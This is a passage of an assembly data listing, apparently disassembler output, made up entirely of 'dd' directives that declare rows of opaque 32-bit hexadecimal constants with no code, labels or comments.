		dd 54A1DDD0h, 0BBFE3485h, 0A1C946A0h, 21BAC23h,	0BBEF4E89h
		dd 85282A4h, 26A182C2h,	53A989A4h, 0E0D36890h, 0C1E15677h
		dd 28D1175Dh, 0DC550BF2h, 6337FFC6h, 9940B50Ah,	7D5DB159h
		dd 0D5D55184h, 9D7A04A2h, 9F3A59A0h, 682D2EB8h,	94C88C31h
		dd 0A8EFE1E7h, 0D15C5C9Eh, 4318CDA6h, 0D34EBD35h, 0C4D6E01Bh
		dd 66577D4Ah, 0CD4E30C0h, 0F94DF4BAh, 26D260Ch,	48F7DCEh
		dd 71E7255Fh, 25C267A3h, 0F34CFEFFh, 308C31B9h,	0E2F7A3F3h
		dd 2F95F2FBh, 3F8B7109h, 0B48AC1DEh, 0C299CA7h,	2C961688h
		dd 370370ADh, 66310C5Fh, 3015D7F6h, 0CFDD3523h,	6EEB36C8h
		dd 7EFC0558h, 0FF6FD0A6h, 98125998h, 74F88BC2h,	0EE0D5DC1h
		dd 0D4514D42h, 2E0F106Bh, 0C38928FAh, 0B67D3177h, 63BF4564h
		dd 286015CCh, 0D72841BCh, 7C766F77h, 0BE97C97Fh, 0CFFF493Dh
		dd 0C1F9F3DEh, 2BEB7420h, 556390CBh, 0A4AB7EB7h, 0AB333393h
		dd 0BDF2D9E0h, 44D01CCCh
		dd 0ED4A84F8h, 7DA8BE33h, 92D1BCB0h, 771CC094h,	926D0195h
		dd 70798D62h, 4B0BE1E8h, 5C9CD0E5h, 0DCE8D951h,	27D8E059h
		dd 0C6AC1736h, 46EBD6EDh, 135E3D2Bh, 6D5878A1h,	0E1A7E9EBh
		dd 94533A47h, 50905319h, 7E0E04A8h, 6A18C1DFh, 152F07DFh
		dd 0AA75B245h, 84091B9Bh, 403D9B0Bh, 5640544Ch,	740BAF6Bh
		dd 0BD403AB3h, 0D7FEE0E2h, 52C2518Fh, 0B825FD27h, 0D2769BC2h
		dd 9B0BECFAh, 0DC1B8836h, 0B9F5EE03h, 6B186A1Eh, 74B05FC5h
		dd 67CFA567h, 47D86045h, 0AA02AE57h, 26820E76h,	0E0F09E8Ah
		dd 3E12B133h, 12721408h, 8AA0F897h, 0AD0EF906h,	50DCBC52h
		dd 9F99C13Eh, 0E0EC2E1Ah, 0C0B6688Eh, 1CA5B537h, 0B54D0598h
		dd 80D8FA78h, 0B9977311h, 0D1A6EAE3h, 648C467h,	0C472A05Ah
		dd 0FCBBA60Ch, 81F861DEh, 0F7458BADh, 94F3FB77h, 2824D326h
		dd 57687EFCh, 0B55146C1h, 0C43E0BAFh, 5F5458B3h, 0BB0B332Ch
		dd 134CF66h, 0DCDCED53h, 0F377CF61h, 0DE1FC5E7h, 0CE6CB680h
		dd 28EFEC2Eh, 0FE4F703Ch, 6A8723DEh, 0D959DBEBh, 0A8D049F7h
		dd 8515F10Bh, 0F8CE5220h, 311EEA14h, 95BD5407h,	556C5752h
		dd 548BEA90h, 0DD4C4D7Fh, 0BCB244BFh, 38557E2Bh, 0FBFA6A8h
		dd 442573DAh, 0DA8D0240h, 0D08FE576h, 5AC04941h, 3D6CDF89h
		dd 5643F8B2h, 13DBAEB9h, 0E3B69DA8h, 93E09687h,	33B01D20h
		dd 127D6071h, 5DB11DCBh, 0CA670AF1h, 78B72B96h,	2F7D1170h
		dd 31CF1D99h, 7B1756A9h, 0D23E0593h, 0CE9F57E7h, 7840A17h
		dd 8C38C714h, 2779EC95h, 5DA9186Ah, 2C8699E3h, 6B5F7695h
		dd 0CDD17BB3h, 116A125Bh, 314612DDh, 783CB243h,	0F640ECF2h
		dd 28DA2838h, 0EF835A53h, 912D0C5Fh, 8CE6E750h,	3FDDB5E0h
		dd 0F8B05E11h, 0E5F8880Bh, 0A653A010h, 0B4556A6Eh, 3E8D5B53h
		dd 0C3977137h, 1A106F03h, 0E6015F22h, 40584994h, 24B0D603h
		dd 973E94BEh, 2FACF9DCh, 0C6A4DA6h, 615D0DB5h, 0F98BFD6Ah
		dd 61F840DAh, 186D99FEh, 50F489ECh, 0B5F1F316h,	2AB2B9FBh
		dd 0DADB8707h, 0EA1BC089h, 0AD990224h, 305840CBh, 494752F1h
		dd 84E4A399h, 0CAB6BC22h, 8BF00A4Ch, 0DBF14D42h, 0ED5CD737h
		dd 0DD423F23h, 0F044CE8Ch, 9723E349h, 1F1A8C51h, 0DC087ADFh
		dd 989E4E67h, 8342D16h,	0EEA93B54h, 8D40CED1h, 0F7D8D896h
		dd 0DA9B06F8h, 77729086h, 0B05718E0h, 0ACBF3754h, 0D2EDCBCCh
		dd 0C2A12E7Fh, 5381CC00h, 11E0AFCCh, 0CD3AE751h, 9572F3E2h
		dd 235B8B51h, 578F9F97h, 5F947B20h, 0F2BA8CF7h,	5C80A5A9h
		dd 0C794C13Ch, 7D549F7h, 9C512A33h, 0DA25F1F9h,	0A13EA6D0h
		dd 0C95649D3h, 9B897D07h, 7D046A91h, 0B8A17599h, 52359321h
		dd 0A6F664B0h, 0DC5C26DAh, 0AA882DDFh, 0B28EFD50h, 5A5A21AFh
		dd 4DB06CAAh, 4A6DABB0h, 1C5054C0h, 49D82056h, 0F24EA575h
		dd 0B0C2DF62h, 0F838F6D1h, 0F4EEC921h, 8B2A2ED5h, 853CACD0h
		dd 4A19AE38h, 67F93DFBh, 81E68E79h, 14550883h, 7E50E355h
		dd 0E9C256Bh, 880241B2h, 2551472h, 0EE6CB6D9h, 2F2AD82Eh
		dd 0D68B03B0h, 791FDC4h, 0FC82A18Fh, 27C3F132h,	0C690AD4Ah
		dd 0E7DD5EA9h, 0E700BC0Fh, 0FA780FD8h, 0BE6D67BFh, 1E84BEACh
		dd 0EFF76603h, 81F0B1A4h, 0B8AECA2Dh, 0E6BCCA1h, 2806117Eh
		dd 0CFF1F37Ch, 0C8C21D88h, 0AED67F12h, 8087170Bh, 60F7EF89h
		dd 8A22EAEh, 2F60D4DFh,	0BE5B10F8h, 6D376F50h, 446AFC99h
		dd 0A9B55C3Bh, 0D3C4830Eh, 7C2DDDF4h, 117E7588h, 6D1D7D7Bh
		dd 6E1347BFh, 0CDB7F5A9h, 26AFB936h, 13F8BEEEh,	0D5092ED1h
		dd 0BF262C0Dh, 0AF935F68h, 275B0FD2h, 5FC8170Dh, 6C9BE90Dh
		dd 38C476ECh, 356B7D32h, 0C3D8A677h, 0A958ABBh,	0D6540EB5h
		dd 0DFD268F0h, 5566E969h, 80A27C8h, 0F3EFABB5h,	0F458AAADh
		dd 0EB2ED068h, 3A349CB6h, 3B089D3h, 3F156FEAh, 0CE7EA64h
		dd 958BBE6h, 53AD07C7h,	93C800F2h, 232BA77h, 61EFE13Ah
		dd 0F3A6CB85h, 0D62E8439h, 0A5C4BB72h, 4D1B1A35h, 0C0F140AEh
		dd 0FF173763h, 6AFBD9Dh, 6D811F13h, 26562B3Dh, 7E3EE7D3h
		dd 0F481BAA1h, 9898B3CDh, 79C02C7Fh, 0A778E2D7h, 1D3C8F54h
		dd 5318CF42h, 81E6C6EBh, 3D35D0F6h, 3B44BF64h, 3C0F22E4h
		dd 17966CFCh, 64C63A7h,	76BC7056h, 698E5C54h, 0F83EDD64h
		dd 89B786h, 20F36262h, 0A04070EDh, 0B0B2C9F6h, 3DF67007h
		dd 2B4689D0h, 54DA2CF5h, 0E46EBE5Fh, 0DB172AC3h, 0F8F65311h
		dd 7E16F960h, 6BE6BAB1h, 99B2B0EDh, 85695FF5h, 1124EF17h
		dd 764D5D9Ch, 8C1CFA59h, 2C98D81Dh, 0F13798F0h,	8654F828h
		dd 75A065EDh, 0B9FB317Ch, 9A30AEEEh, 5F3D693Fh,	0CE0CB0DFh
		dd 0A2C85B74h, 5B5CC5F2h, 0B8B4014Dh, 8983DA87h, 5FB57EC7h
		dd 0EB4EAF07h, 4FE358DAh, 3EF0ED07h, 0AA4BA432h, 32F318E1h
		dd 0C9F2A0B5h, 2CD6BB8Dh, 5522B5DAh, 7338E108h,	25EE0FA5h
		dd 305FAE9Fh, 86469D75h, 0D0A3ED50h, 89F6644Bh,	5DD68035h
		dd 6F80E37h, 34FAC06Ah,	0DEBE1B39h, 0B39E9E3Dh,	0A679BC72h
		dd 6B95B984h, 0D4D4F82Eh, 0F064DDD2h, 64C0950Eh, 0EDACC660h
		dd 0D2718349h, 8DAF4897h, 4D660956h, 0AD425457h, 6935C8Ah
		dd 95B36033h, 0FF32A3F5h, 1DCFAE8Ah, 84EB806Bh,	1F83615Fh
		dd 1CA4D756h, 0B0C8E759h, 79242271h, 6DDF9CF3h,	3EFC61F8h
		dd 0CE3F4817h, 1C06594Eh, 38519208h, 410A5307h,	40A7A4ACh
		dd 0ADDA3D74h, 0CA52E90h, 4D6502C8h, 275B1B07h,	46B5A3DDh
		dd 86214Dh, 56A07C00h, 7B2087D0h, 0A5A06F43h, 8F7020F4h
		dd 0EDE62BC6h, 8C467CE0h, 4018D7ACh, 0B839EBD0h, 0A8FFFC78h
		dd 2D7C794h, 0D910F54Ah, 0FED3CB8Eh, 4BCE146h, 33C58CBFh
		dd 7360514Ah, 4B2FECCBh, 6E26E35h, 0BA298BC3h, 6768F1C3h
		dd 4087149Fh, 9B17DA03h, 7680E33Eh, 46E423Ch, 0E62A3DBCh
		dd 55E9AF24h, 3308A31Eh, 0A4FDB8CCh, 0BBBEFA74h, 0A255FBC5h
		dd 99AFEABDh, 0E5ADB7E2h, 0CD42E07Dh, 0FAF672E7h, 2F4C4344h
		dd 8CD88207h, 0D2E553F8h, 768E88C8h, 49B9FBEAh,	0D22114EAh
		dd 0C9CB5764h, 1D5E3DE9h, 5D94F2F2h, 0B5438705h, 982CEA00h
		dd 2117E2B8h, 0F5CDB151h, 0B728AE66h, 0A496E725h, 70153C74h
		dd 0B58861F0h, 0ED2F3C31h, 95B56A83h, 7B9F7C7Ah, 7AB47C5Ah
		dd 0CE3C6450h, 0EBC35CB9h, 0B2DAA546h, 431C3944h, 0A807FF83h
		dd 7740D94Ch, 68567FD0h, 998948Ch, 0E670CCAEh, 7D18DFF3h
		dd 0A6E82EBFh, 0AB742657h, 3375D1DBh, 8B67B411h, 7B07E41Dh
		dd 0A5A9C507h, 877AB450h, 431AA253h, 0F3FA22B9h, 0A5D0D89Dh
		dd 7F8491E4h, 9B96D085h, 8BE9D2D1h, 0A97ED83Ch,	7F41C06Eh
		dd 0EA0D3A71h, 1D48E84Ah, 25701F8Dh, 0C5FBAF04h, 0CBBB05D2h
		dd 2F372D1Fh, 0F7A5034h, 4175C125h, 8E69A025h, 0CD7D22EFh
		dd 1FF32D2Ch, 50F81D89h, 0EFBC41ADh, 0F377CA58h, 0E2FE9030h
		dd 6FBE3075h, 2F6B735Fh, 0D1FE5C7Bh, 0D4CEAC6Eh, 6E1CFC8Dh
		dd 0DEBBBA98h, 2EA83F11h, 8FDE827Ch, 4372D661h,	0A13D0B19h
		dd 5DFFA852h, 0E8D26D9Ah, 0E28E6066h, 5FE7988Ah, 34DD25E3h
		dd 3302E5BBh, 61E0F184h, 0F604B764h, 7416BBFBh,	0CD92E541h
		dd 11D1343Ah, 0B4CFA872h, 0E81AF8Fh, 3C1E8060h,	0CC9EE71Ah
		dd 7E2D195Fh, 4F51D10Eh, 0FB701A27h, 6324E6h, 0A1EB72F3h
		dd 0BFD294A8h, 388EF1C8h, 7850D2FFh, 3C6ACE93h,	67591C81h
		dd 0B91A9FEFh, 5974CF72h, 60962F38h, 55378A7Eh,	0DD3FC5FBh
		dd 139D9313h, 749FEF96h
		dd 731D04C9h, 5B315DCh,	6783A3B7h, 0E7222FF7h, 0BDE5EB85h
		dd 0BEDB6552h, 0C340411Bh, 0F45D295Dh, 8BD8CBC9h, 0E9AAA596h
		dd 75051AE9h, 0EFE1B003h, 22EBFFF9h, 0A38EBB20h, 0D85807C6h
		dd 0B738ADC6h, 0EE84A020h, 33FE5AAAh, 0DF98698Dh, 0FF0A6B83h
		dd 4051D15Ch, 681FBDFBh, 9CAB29FAh, 52B30EB7h, 68A2866Dh
		dd 260A8754h, 0E77152B5h, 2D069568h, 8DBB7EEAh,	460FDDD0h
		dd 0C5C6D8AAh, 68FD1CEh, 75B74F69h, 4DA0CEB0h, 4F2EC2A3h
		dd 5228368Ch, 0EC77216Bh, 457CDE5h, 91F2C7C5h, 0CD569FE0h
		dd 576EE4DDh, 80D82FF5h, 0C3EC2A1Fh, 80E76C0h, 0D1D76BF3h
		dd 63EA8CA6h, 9E3F3ADBh, 7FD658ECh, 53B1DE6Dh, 0E0A900ACh
		dd 0CFF65A87h, 3985251Dh, 0B01DA85Ah, 0C3F17C6Eh, 10D93882h
		dd 0C4DA9068h, 15EE357h, 3E547B3h, 30B6542Bh, 0C6E9CD54h
		dd 98AAC99Ah, 607F0BFAh, 4D861582h, 18DC50E8h, 399BF82Fh
		dd 4F00F202h, 0DA691918h, 0F57B1D77h, 0B4735BDDh, 7B33F9C3h
		dd 5BED737Dh, 45FEA4A9h, 7D7F46A0h, 3B081EE8h, 6DBD45F7h
		dd 68F054CCh, 0F6776339h, 0D54340B4h, 0E0F1254Ah, 0BEF74DC9h
		dd 75F4E166h, 53858BCDh, 0CB614CB5h, 0EFC46324h, 631F5C43h
		dd 98CE7F02h, 7066519Bh, 65FC2C50h, 0C5C6C53Eh,	9A3A706Ah
		dd 300FD009h, 0F446EC8Fh, 21573AF5h, 0B23CF3h, 44FFB24Fh
		dd 2C78B722h, 0B8C7BE2h, 11D06E36h, 9129C830h, 0E0B93523h
		dd 0FEA4D059h, 48B457E7h, 37A4C6ADh, 0B713F0Dh,	5C772EF1h
		dd 6FA8B3A8h, 22C088D9h, 0C2BC88FBh, 0F7DB538Eh, 7B55E748h
		dd 0B2B8789Fh, 0B11B2B7Ch, 0DF5BEEF4h, 4D706843h, 3718E35Ah
		dd 0E0F0E2ABh, 7365CBFDh, 8B475AF6h, 243D68BEh,	0BFDB6EB3h
		dd 993AA45Dh, 5D3A5EA6h, 56A48CC9h, 0ADF768BFh,	798BBBD8h
		dd 7852A4D5h, 9BE78799h, 12BF1B29h, 2B29C13Bh, 4EE2C5C9h
		dd 37C7D802h, 0E910502h, 0D349A07Fh, 0E3EB5F29h, 656E43BEh
		dd 0DB7A6DF6h, 0DFDEF01Ch, 554A93C9h, 8C85C0BCh, 7D026D96h
		dd 9717CE07h, 375A99F4h, 8D32DAADh, 97A16DBBh, 0BCC34486h
		dd 2A4F226Fh, 0BA7E6651h, 0E9B9EF7h, 0E3523BEDh, 11475C8Ah
		dd 1D6707Ch, 774250E1h,	0CEC5D149h, 39A2F479h, 3EEA6E23h
		dd 28E89F27h, 1D52BBA5h, 0EFF6FD7Fh, 0F232C8A2h, 57C5A4CBh
		dd 4F8D915Fh, 41744CB2h, 3975CFCCh, 0FCC0978Ch,	0CDCD225h
		dd 242AC13Ch, 0ED0886E4h, 1FC63158h, 0CDB65F7Fh, 5DEBB945h
		dd 97868F9Eh, 9BBA93C4h, 6ADAFBADh, 98DBA312h, 0C6067524h
		dd 889646DCh, 0BDB6B132h, 9C23A6C7h, 0E60D135Fh, 9492438Ah
		dd 44F6CEF7h, 50C1E315h, 0AF6EB866h, 44D6E7E3h,	0B5C2497h
		dd 7F25A8BEh, 0FF250F83h, 6486CE32h, 95E21E80h,	0F8E0C866h
		dd 604A2ADBh, 89B55264h, 0C821943Dh, 0D1242552h, 502D8413h
		dd 3BCEABDDh, 8D0A3DBCh, 0BF932D67h, 128CDF61h,	7E77E13Eh
		dd 0C70F8F6Dh, 0DA5C4FBDh, 0F1DCD701h, 5472D303h, 7666C8F7h
		dd 0C4C0FC19h, 2EDC16Fh, 33AF57CEh, 0E59DBB5Ah,	72903550h
		dd 896967C5h, 0D352D4D9h, 57A4EDh, 0CE288C71h, 0B41BF3E0h
		dd 9AA3494Dh, 0DB787505h, 0CBA76886h, 0BA57B0EAh, 23DAE5E1h
		dd 5EA0614Eh, 0D895DDB5h, 67FDAB60h, 7099E75Bh,	5AED87E3h
		dd 0A4BC59Ch, 5A24E47Eh, 0C9EC877Ch, 0C69F892Bh, 5A2008BAh
		dd 64A030B0h, 1AEA47EFh, 2FE52BD5h, 0E683A4A5h,	38EE4783h
		dd 2331607Ah, 0DB02CB0h, 420545ACh, 0E35193C8h,	0E0B4BEE0h
		dd 0F05EBD62h, 0DD0085D9h, 58DD71BAh, 7DA6FBB0h, 76125920h
		dd 5FE7D69Fh, 4AEBEE68h, 0F048C234h, 6D6D80FBh,	748BAB95h
		dd 0FC7F3A9h, 2B8CA525h, 0E93871E0h, 581C8933h,	0B9501712h
		dd 0B87ABA41h, 2EEA3753h, 7A719079h, 14E66B97h,	3115305Ah
		dd 2F4BEC39h, 27336CD4h, 818B87E0h, 77648689h, 0DB800D14h
		dd 30DB82C1h, 673EC3F1h, 0E4F23826h, 61BFC6Bh, 0E1566B5Ch
		dd 0EC9CAAF8h, 990AAB0Eh, 5448DDE6h, 0E3EAFDF8h, 0C4C18455h
		dd 71A73B7Bh, 8A7B4DBFh, 0A869D2CEh, 1AEAB9AFh,	0DD139BFDh
		dd 0E98047B7h, 9BD50BDAh, 13EDCE22h, 2BD87D02h,	2F0F40F8h
		dd 147D952Bh, 0C51DCA70h, 0A965BB3Ch, 90FCCF02h, 5D1B6EA4h
		dd 3B45FADh, 2AE65B87h,	0C3E3557Ah, 561936Eh, 0B21BAF31h
		dd 8B47705Dh, 0B33D9EEFh, 5924D15Ah, 0FBD26B9h,	4258287h
		dd 0E07D57CBh, 1EAF10C1h, 9D08DFEFh, 3A45A85Fh,	2D2C89CEh
		dd 0BB87F8DCh, 9789DE04h, 302F4D8Dh, 0D4EF45BFh, 0D3ADFCE8h
		dd 0E962F428h, 9A16C48Fh, 2A268355h, 8A6AFC2Bh,	8657C7ADh
		dd 49D7A35h, 645B498Ch,	0DC4A5D85h, 16AC7D37h, 99C9341Fh
		dd 0F6564F9Fh, 787A3485h, 0D1E47238h, 0BD6A4FD2h, 0AF67F878h
		dd 0EF8786C1h, 45F06EECh, 0B95B7A3h, 7FCBEEDDh,	190A93D0h
		dd 91B69AF1h, 9189BB14h, 334B832Ah, 75613DE1h, 0C9154043h
		dd 0FFD346F2h, 9863A712h, 0E9DE6BE6h, 6D39D764h, 0BFAB659Dh
		dd 0A17DB2B2h, 8856FBF4h, 60BD558Eh, 0CC6407C0h, 0CFC230B0h
		dd 5677F050h, 3343A941h, 1B97BAACh, 0B003DF4Ah,	0EDC36B5Ah
		dd 8433B10Fh, 71F7BA1Eh, 0D5B37850h, 89F1BACFh,	1446F2DAh
		dd 8847E52Ch, 0C566AD01h, 6B23D110h, 5220DC82h,	0BF96A92Bh
		dd 0CE8CEEDh, 0EC6D9CBEh, 0E98120EDh, 2B5E4980h, 0A0B4F955h
		dd 56DDC97Dh, 0F8CDA962h, 0C0FDEE1h, 0D0B3AD89h, 160637C1h
		dd 2C94FD01h, 1D3469F0h, 23164F26h, 0F4143A27h,	819D8030h
		dd 6A743373h, 3F17DF6Fh, 73A506ECh, 1F44FAE9h, 6D0CC267h
		dd 0B2E55DEFh, 0CB067CD4h, 8962FA8h, 0CA15012Bh, 2DC19492h
		dd 7531C6E4h, 8CE25DC8h, 25AD5140h, 19C7409Ch, 0B11AF120h
		dd 6BB4CE1Dh, 92C92787h, 93A1E3C8h, 0A6EE9C87h,	9BEDAEC3h
		dd 0F45B71EBh, 2D161BBAh, 938E54AFh, 315F3956h,	5436B57Dh
		dd 0AD6095E5h, 0FE9B5176h, 0CAE6197h, 8B0F1CAAh, 407215E3h
		dd 0ED600C55h, 0A2DA7ADBh, 6B0C831Bh, 0A2FF566Ah, 605685EAh
		dd 0A9163457h, 6A0E7734h, 1D324DE3h, 580A3BD0h,	0C1315F6Eh
		dd 0C211CFAAh, 7B2685FBh, 0FCF5BEB7h, 0EE15264Ah, 827B62C8h
		dd 5D0EE80Ch, 21F871B0h, 21EB2850h, 0DA9F1DAEh,	0B20DA49Bh
		dd 0C3AD65CAh, 57EBA58h, 4D3FD69Ch, 0FE39AAE0h,	9C1F28DDh
		dd 4E49876Fh, 0F8DA145Ch, 46FA5461h, 0FA9ECF9Ch, 92B69257h
		dd 0AA38E1AEh, 43250798h, 0ED6A32AFh, 585AA339h, 78DFB697h
		dd 0A50F1090h, 0E4FCA790h, 661D71EDh, 0FED2698Ah, 0EB80E0C9h
		dd 0F26F92C1h, 0CA3E560Bh, 0BCAE7CCDh, 8962C040h, 350E742Ch
		dd 725BD7F1h, 0D0CFE8D7h, 6A761D37h, 0F6745558h, 1576D5B3h
		dd 11ED68DFh, 9F893ECFh, 921FC707h, 62A8A9A2h, 0CB669853h
		dd 0F6A7BFBAh, 881DA7F2h, 699D615Dh, 0AA5FD7ACh, 0EE072F72h
		dd 8A9BAD12h, 70E1896Ch, 0C1972531h, 33FBD8Ah, 67923B48h
		dd 0FEDAE276h, 0E1A9EB45h, 0F85D6A68h, 8B5D5789h, 22FF7B10h
		dd 7336F798h, 5892898Eh, 0DDAAAA25h, 7D05568Eh,	0A6905DA4h
		dd 257E8F5Dh, 437CEA9Ch, 4FC56AA3h, 7668D4B4h, 0AB14E97Ch
		dd 0DA698AB8h, 0A2FE6E44h, 485FDEDEh, 46134C59h, 0D447CF70h
		dd 7E196EEh, 7321F8DEh,	1D7B0AE7h, 0F0578A26h, 830EF205h
		dd 4427B7E6h, 3B87FC89h, 0DB1383ECh, 0AE696D3Ch, 9E7CD434h
		dd 0D5FF0FC1h, 0FEE7A769h, 0A81F03F1h, 68F86418h, 529736A7h
		dd 0DF9C7568h, 903969F3h, 0AA52D64Eh, 52A307AFh, 0C2635689h
		dd 0F835E9EFh, 0FAA75C5h
		dd 0DBE9C31Ah, 247AFD82h, 0E5CDBB47h, 4510BDC4h, 490C1603h
		dd 0A8AE0C35h, 8A8B5C16h, 0B66B4C96h, 94ACBB47h, 0BF68C237h
		dd 0C10EE43Ah, 797CE97Bh, 0BFA0E742h, 96D8C2E8h, 0A7F750AEh
		dd 0BCFEA155h, 6496607Ch, 831653Eh, 0ECC4436Eh,	95FA3E0Bh
		dd 0D9F47C15h, 9C181F89h, 0E41454A4h, 982F485Ch, 812E6B78h
		dd 0AFD391FBh, 6866D065h, 2D181736h, 1B23CD67h,	318602B4h
		dd 43B1F1D1h, 0E1BE6B2Dh, 386FB6EDh, 3B8939DCh,	897EC539h
		dd 0B47DC77Bh, 51A7D45h, 473CCDD4h, 0E65271E7h,	5A3DBC2Bh
		dd 360C5A36h, 7CA72BD6h, 0A2CFF55Dh, 0D6EB4A85h, 737217EFh
		dd 3C960BA9h, 779E3450h, 0EEE2C41Bh, 7D6825A1h,	0B51DB879h
		dd 0F2AA3813h, 0B0ACD40h, 23B56AB6h, 0CEF07F85h, 383C487Dh
		dd 88673254h, 0DDCD8892h, 0C74D398h, 26C9CE95h,	3E8AAD79h
		dd 3FAB7D70h, 1A6C9D23h, 0A0D2E8F0h, 9955B969h,	0FE82AABBh
		dd 0B4483AB6h, 0A88AF951h, 6E9AFBBh, 3D178C87h,	0C273B2FFh
		dd 814E5534h, 0B7EA418Dh, 9AF16212h, 2A4F5A33h,	4AC24FEEh
		dd 9E611D7Bh, 937E8DF6h, 0BE917E40h, 3F03D3ACh,	40712F64h
		dd 6A713F70h, 8BF886B4h, 62FCD9EEh, 964CDD7Ch, 4E7E155Eh
		dd 0C97E7DF4h, 0BEFD5495h, 9BE1E77Bh, 0D6F22582h, 0B09565F1h
		dd 0D0FC4AFCh, 7142E7D0h, 0F1536415h, 78F8FBC5h, 1CAB7CE0h
		dd 0DFB2A5A1h, 7B790F19h, 0E5EEB6D7h, 840FEA43h, 82B6F4D8h
		dd 0C3771348h, 0FC1A917Dh, 0AEE6E805h, 3237CCFCh, 8E19091Ah
		dd 3ACC4D82h, 1A11F5AEh, 0F690E7C1h, 0FC56DE5Ah, 3EDE5A26h
		dd 69B1BE6Fh, 0E0481F8Dh, 8ED4AF9Bh, 124F106Dh,	75A289B1h
		dd 0B7D2E5C3h, 9FBF2FD6h, 2698AC91h, 0CA650E1Dh, 46EDCD02h
		dd 4AD20FC1h, 1FBA0866h, 1F9FE19Bh, 771FEE25h, 3B206451h
		dd 43B50C9Fh, 9A1E145h,	695F3E87h, 541C5749h, 28DFBC39h
		dd 93EF6907h, 1A9EE544h, 0EBAF783Dh, 897E97E7h,	0CB957DABh
		dd 0BC3B3ECBh, 92C35767h, 5B1B3E6Ah, 0D3951697h, 5714D40Fh
		dd 0F146719Eh, 3633EFDEh, 9042565Dh, 51F691DDh,	0A5813503h
		dd 0CEA9A8CBh, 86A771FCh, 0C9D4B801h, 23B11F43h, 0CDFE1662h
		dd 0B07CEAFDh, 0BA21BCB6h, 96175F16h, 0BE573B6Fh, 2938B207h
		dd 7EECD64Dh, 0B9D22422h, 1B9A3DF5h, 4C396104h,	37A3FABFh
		dd 0AEE88ABEh, 0B7057D27h, 0C94AC88Bh, 0ECD67CDAh, 48D0816Bh
		dd 8CB04D23h, 61E7F356h, 0AEF74B34h, 70B977E4h,	0C2D013B4h
		dd 0DF4F36FEh, 4E9DC2ACh, 0F91BB90Ah, 292A0254h, 0A81F382h
		dd 558AB2FAh, 27835317h, 53A269CEh, 82CDE77Ch, 51ED37A5h
		dd 96B52DF5h, 9DCE3CAAh, 0FAC877ABh, 45C1607Dh,	94191EBBh
		dd 9D8EE3C2h, 0DA4B371Ch, 0A90E21ECh, 0DEFA0BEFh, 0CF3D9987h
		dd 0DD863C17h, 6155530Ch, 0F4B05B10h, 4AC3E2ABh, 7C6CA9F0h
		dd 0AAC53CB4h, 6F4EF65Ch, 8BF007AAh, 0AEB2B258h, 47EFAAF9h
		dd 3FF2A8E5h, 542DE3C5h, 456FBDE3h, 0ED2D1AA8h,	9807B4A4h
		dd 83FABB15h, 8647270Ah, 0D88BBE81h, 5CE7C5A2h,	65CB6FEFh
		dd 0C0D91761h, 0AD1646DCh, 0BA7EDDE2h, 6BEF9B7Fh, 0B9470531h
		dd 569F07CCh, 9DC12886h, 10A0E147h, 56DFD3F3h, 0EEE43A2Eh
		dd 92991579h, 0E9B8C859h, 76C5E11Eh, 83647465h,	0EDA8C8BAh
		dd 69CA9680h, 5586D4D7h, 9DDE3B65h, 2672C985h, 0D139CEECh
		dd 3E92B24Ah, 8519B93Ch, 0A9ABDCEAh, 7B8DCA30h,	0C4219383h
		dd 0CF33511Eh, 0C4E8C81Ah, 1F040418h, 490F4C30h, 0B0BA6D76h
		dd 0FC4F7E3h, 0CF3C9EEDh, 5DDE7C3Dh, 79B0A2A1h,	0F6CD93F0h
		dd 7ADE3021h, 0AC9A21F8h, 0E77DF15Dh, 15E7AF68h, 4EBDCFD4h
		dd 0C6531359h, 3D16E81h, 1B81626Fh, 0C2AE5327h,	0B0BDF780h
		dd 0D25C6D54h, 44E49655h, 0E126A011h, 0E5FDCC94h, 6A6776A0h
		dd 93C3707Ch, 40A5260Bh, 0AF9624ABh, 5F21CB12h,	233FE599h
		dd 0B035368h, 0C660EFD5h, 2DFED9D0h, 41583100h,	0D09547D6h
		dd 71E6C7A9h, 13352350h, 9DEC6EC3h, 79B2D322h, 0BD09283Ch
		dd 673D6FF4h, 8072039Dh, 25810ECDh, 8F130h, 0E396C9EFh
		dd 6ED82B4Eh, 6184777h,	75F123AFh, 96E42BA2h, 0FB2F65F2h
		dd 4D22BB4Fh, 5AA2ED43h, 81D0B86Bh, 6AA4012Ch, 0CC5A09A1h
		dd 39DBEB9Dh, 3311FF8Ah, 0AB8EC9E9h, 0D0C89A92h, 0D279F352h
		dd 22F3882Ch, 71F4EA12h, 3E620D53h, 0F3CEDC6Fh,	0F263DFEh
		dd 2DDED44Ah, 0E9047567h, 0DD48636Ch, 6D10EAB5h, 67A4E454h
		dd 6FAA1EE7h, 6BA5F711h, 0BD1C617Bh, 842FC80Ah,	963C79FEh
		dd 34981B91h, 22EADF7Fh, 616639EFh, 18C6E853h, 9B8EFD80h
		dd 5B1D57Dh, 7BA961F5h,	0E3AC5507h, 70A8A987h, 0EB7EBAA0h
		dd 23F885EFh, 93DFEB72h, 0D8B721C0h, 3391C228h,	4D220944h
		dd 25CE35D1h, 46F4E05Bh, 0AD3A0A07h, 2C0B0B75h,	98158536h
		dd 2BAECEBh, 4BDA736h, 0D7E69AA6h, 97DCF38Dh, 0B788816Eh
		dd 900A1584h, 50FCD86Bh, 0A821E5F5h, 4B441CB8h,	0B342F5B7h
		dd 3AD2D7FBh, 8189A67Bh, 15A194D6h, 0CFBA82C1h,	49B65305h
		dd 4C2B352Ah, 8C841C1Eh, 0DF87398Bh, 0A9334C72h, 94EE5E77h
		dd 1147513Ch, 5611B0h, 6EB4D1F1h, 8C5A7D25h, 0BEC4BAADh
		dd 0D1E32930h, 0D23D12BDh, 7E58607Eh, 67EA0FE5h, 0DCEC8C81h
		dd 0EA1D4989h, 0CB5D12C9h, 6E4CF90Eh, 991E149Ch, 34D0E159h
		dd 0D92B981Bh, 0F0272DE6h, 154AF096h, 0A1B6497Ch, 691868A4h
		dd 4BF24E2Fh, 0EA5794C9h, 5AB51769h, 5ED9207Ch,	1DB3A3D9h
		dd 0B98C347Ah, 457A2B98h, 65BE7EA8h, 0AD2AA568h, 572B57C2h
		dd 39BA846Dh, 99F3F855h, 0B16CB510h, 0A52DDEE1h, 0A1284A45h
		dd 54138C73h, 2BCB62D5h, 754F954Ah, 0B22C274h, 0B350A748h
		dd 0F183E45Fh, 0C8A503h, 0A97CE417h, 0BF1281AAh, 7F9C4D09h
		dd 12D357B1h, 0FC164810h, 18CD3570h, 0FE639BA8h, 55D31028h
		dd 73106F71h, 7B4069ACh, 0B050F4BBh, 4CEF831Ah,	0AC1EFA9Eh
		dd 0C8ED038Ah, 0DC1ED098h, 657D7163h, 36105444h, 699D9C74h
